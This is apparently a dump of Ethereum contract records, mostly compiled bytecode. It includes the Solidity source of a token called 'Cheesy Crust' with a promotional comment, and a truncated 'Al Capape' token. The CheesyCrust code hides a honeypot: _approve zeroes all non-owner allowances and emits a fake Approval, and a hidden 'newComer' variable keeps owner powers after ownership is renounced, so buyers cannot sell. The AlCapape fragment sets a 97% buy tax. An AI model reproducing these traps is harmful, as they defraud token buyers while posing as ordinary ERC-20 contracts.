030160016101000a81548160ff021916908360ff16021790555060a08201518160030160026101000a81548160ff021916908360ff16021790555060c08201518160030160036101000a81548160ff021916908360ff16021790555060e08201518160030160046101000a81548160ff021916908360ff1602179055506101008201518160030160056101000a81548160ff021916908360ff1602179055506101208201518160030160066101000a81548163ffffffff021916908363ffffffff16021790555061014082015181600301600a6101000a81548163ffffffff021916908363ffffffff160217905550905050505050505050505050505050565b60086020528060005260406000206000915090505481565b6009602052806000526040600020600091509050806000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118005780601f106117d557610100808354040283529160200191611800565b820191906000526020600020905b8154815290600101906020018083116117e357829003601f168201915b505050505090806001018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561189e5780601f106118735761010080835404028352916020019161189e565b820191906000526020600020905b81548152906001019060200180831161188157829003601f168201915b505050505090806002018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561193c5780601f106119115761010080835404028352916020019161193c565b820191906000526020600020905b81548152906001019060200180831161191f57829003601f168201915b5050505050908060030160009054906101000a900460ff16908060030160019054906101000a900460ff16908060030160029054906101000a900460ff16908060030160039054906101000a900460ff16908060030160049054906101000a900460ff16908060030160059054906101000a900460ff16908060030160069054906101000a900463ffffffff169080600301600a9054906101000a900463ffffffff1690508b565b6004602052806000526040600020600091509050806000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a905780601f10611a6557610100808354040283529160200191611a90565b820191906000526020600020905b815481529060010190602001808311611a7357829003601f168201915b505050505090806001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b2e5780601f10611b0357610100808354040283529160200191611b2e565b820191906000526020600020905b815481529060010190602001808311611b1157829003601f168201915b505050505090806002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611bcc5780601f10611ba157610100808354040283529160200191611bcc565b820191906000526020600020905b815481529060010190602001808311611baf57829003601f168201915b5050505050908060030160009054906101000a900463ffffffff16908060030160049054906101000a90047f010000000000000000000000000000000000000000000000000000000000000002905085565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c7957600080fd5b610160604051908101604052808c81526020018b81526020018a81526020018960ff1681526020018860ff1681526020018760ff1681526020018660ff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018263ffffffff16815250600b60008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000019080519060200190611d3f9291906130f2565b506020820151816001019080519060200190611d5c9291906130f2565b506040820151816002019080519060200190611d799291906130f2565b5060608201518160030160006101000a81548160ff021916908360ff16021790555060808201518160030160016101000a81548160ff021916908360ff16021790555060a08201518160030160026101000a81548160ff021916908360ff16021790555060c08201518160030160036101000a81548160ff021916908360ff16021790555060e08201518160030160046101000a81548160ff021916908360ff1602179055506101008201518160030160056101000a81548160ff021916908360ff1602179055506101208201518160030160066101000a81548163ffffffff021916908363ffffffff16021790555061014082015181600301600a6101000a81548163ffffffff021916908363ffffffff160217905550905050505050505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a602052806000526040600020600091509050806000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611f735780601f10611f4857610100808354040283529160200191611f73565b820191906000526020600020905b815481529060010190602001808311611f5657829003601f168201915b505050505090806001018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156120115780601f10611fe657610100808354040283529160200191612011565b820191906000526020600020905b815481529060010190602001808311611ff457829003601f168201915b505050505090806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156120af5780601f10612084576101008083540402835291602001916120af565b820191906000526020600020905b81548152906001019060200180831161209257829003601f168201915b5050505050908060030160009054906101000a900460ff16908060030160019054906101000a900460ff16908060030160029054906101000a900460ff16908060030160039054906101000a900460ff16908060030160049054906101000a900460ff16908060030160059054906101000a900460ff16908060030160069054906101000a900463ffffffff169080600301600a9054906101000a900463ffffffff1690508b565b60076020528060005260406000206000915090505481565b600b602052806000526040600020600091509050806000018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561221b5780601f106121f05761010080835404028352916020019161221b565b820191906000526020600020905b8154815290600101906020018083116121fe57829003601f168201915b505050505090806001018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122b95780601f1061228e576101008083540402835291602001916122b9565b820191906000526020600020905b81548152906001019060200180831161229c57829003601f168201915b505050505090806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123575780601f1061232c57610100808354040283529160200191612357565b820191906000526020600020905b81548152906001019060200180831161233a57829003601f168201915b5050505050908060030160009054906101000a900460ff16908060030160019054906101000a900460ff16908060030160029054906101000a900460ff16908060030160039054906101000a900460ff16908060030160049054906101000a900460ff16908060030160059054906101000a900460ff16908060030160069054906101000a900463ffffffff169080600301600a9054906101000a900463ffffffff1690508b565b612407613172565b8361241181612fc3565b151561241c57600080fd5b60a0604051908101604052808881526020018781526020018681526020018563ffffffff168152602001847effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815250915081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000190805190602001906124ca9291906130f2565b5060208201518160010190805190602001906124e79291906130f2565b5060408201518160020190805190602001906125049291906130f2565b5060608201518160030160006101000a81548163ffffffff021916908363ffffffff16021790555060808201518160030160046101000a81548160ff02191690837f0100000000000000000000000000000000000000000000000000000000000000900402179055509050506001829080600181540180825580915050906001820390600052602060002090600402016000909192909190915060008201518160000190805190602001906125ba9291906130f2565b5060208201518160010190805190602001906125d79291906130f2565b5060408201518160020190805190602001906125f49291906130f2565b5060608201518160030160006101000a81548163ffffffff021916908363ffffffff16021790555060808201518160030160046101000a81548160ff02191690837f01000000000000000000000000000000000000000000000000000000000000009004021790555050505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156126c457600080fd5b610160604051908101604052808c81526020018b81526020018a81526020018960ff1681526020018860ff1681526020018760ff1681526020018660ff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018263ffffffff16815250600960008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001908051906020019061278a9291906130f2565b5060208201518160010190805190602001906127a79291906130f2565b5060408201518160020190805190602001906127c49291906130f2565b5060608201518160030160006101000a81548160ff021916908360ff16021790555060808201518160030160016101000a81548160ff021916908360ff16021790555060a08201518160030160026101000a81548160ff021916908360ff16021790555060c08201518160030160036101000a81548160ff021916908360ff16021790555060e08201518160030160046101000a81548160ff021916908360ff1602179055506101008201518160030160056101000a81548160ff021916908360ff1602179055506101208201518160030160066101000a81548163ffffffff021916908363ffffffff16021790555061014082015181600301600a6101000a81548163ffffffff021916908363ffffffff160217905550905050505050505050505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561294a57600080fd5b6001600360408051908101604052808663ffffffff1681526020018563ffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a81548163ffffffff021916908363ffffffff1602179055505050039050836006600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050555050505050565b606080606080600080600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051908082528060200260200182016040528015612b075781602001602082028038833980820191505090505b509350600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051908082528060200260200182016040528015612b785781602001602082028038833980820191505090505b50925060009150600090505b600280549050811015612cbc578673ffffffffffffffffffffffffffffffffffffffff166005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612caf57600281815481101515612c0757fe5b9060005260206000200160000160009054906101000a900463ffffffff168483815181101515612c3357fe5b9060200190602002019063ffffffff16908163ffffffff1681525050600281815481101515612c5e57fe5b9060005260206000200160000160049054906101000a900463ffffffff168383815181101515612c8a57fe5b9060200190602002019063ffffffff16908163ffffffff168152505081806001019250505b8080600101915050612b84565b83839550955050505050915091565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612d2657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612d6257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612e7d57600080fd5b6001600260408051908101604052808663ffffffff1681526020018563ffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a81548163ffffffff021916908363ffffffff1602179055505050039050836005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050555050505050565b600080600090505b6001805490508110156130e757826040518082805190602001908083835b60208310151561300e5780518252602082019150602081019050602083039250612fe9565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191660018281548110151561304e57fe5b906000526020600020906004020160020160405180828054600181600116156101000203166002900480156130ba5780601f106130985761010080835404028352918201916130ba565b820191906000526020600020905b8154815290600101906020018083116130a6575b505091505060405180910390206000191614156130da57600091506130ec565b8080600101915050612fcb565b600191505b50919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061313357805160ff1916838001178555613161565b82800160010185558215613161579182015b82811115613160578251825591602001919060010190613145565b5b50905061316e91906131ca565b5090565b60a060405190810160405280606081526020016060815260200160608152602001600063ffffffff16815260200160007effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681525090565b6131ec91905b808211156131e85760008160009055506001016131d0565b5090565b905600a165627a7a723058205a03a2f5ba91ba9e899b2004c4450b25a06c0d915e70742e65b893f6839969ff0029
|
{"success": true, "error": null, "results": {}}
| 3,912 |
0xa77133dd508b2e8da21a22ba11b020299e5aa18b
|
/*
The Cheesy Season has begun!
We love pizza! We are sure you too! Especially with lots of cheese!
We would like to present you the cheesiest token in the Ethereum-Blockchain: $CCT
We wanna set new standards for NTFs and make it more fancy. For this we have an experienced designer team who have already worked on several successful NFTs series.
There will also be a P2E game where you can collect $CCT and use it in online multiplayer mode against other players. More detailed information about the P2E Games will come in the "Double Cheese"- Phase and the Beta Version of the game in the "Tripple Cheese"- Phase.
Some Important Points:
✅ No Team Tokens/Wallet
✅ Chat will unmuted an hour before the launch
✅ Website & Social Media Channels will be published 2 days before launch
Subscribe to our TG Channel now and stay tuned! Updates will be coming daily!
➡️ https://t.me/CheesyCrustToken
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract CheesyCrust is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'Cheesy Crust ' ;
string private _symbol = 'CHEESY ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212205bb3d7931a0781ee1a9d38c8bd09378c233f728b97cfa9782d4c72ba0657d49f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,913 |
0x0436b2249ac6afcdbddb595d204da341231cbd6d
|
/**
*Submitted for verification at Etherscan.io on 2022-04-15
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AlCapape is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Al Capape";
string private constant _symbol = "CAPAPE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 97;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x72EE1e5b8b155692801e1a61c5385C9Caea60D12);
address payable private _marketingAddress = payable(0x72EE1e5b8b155692801e1a61c5385C9Caea60D12);
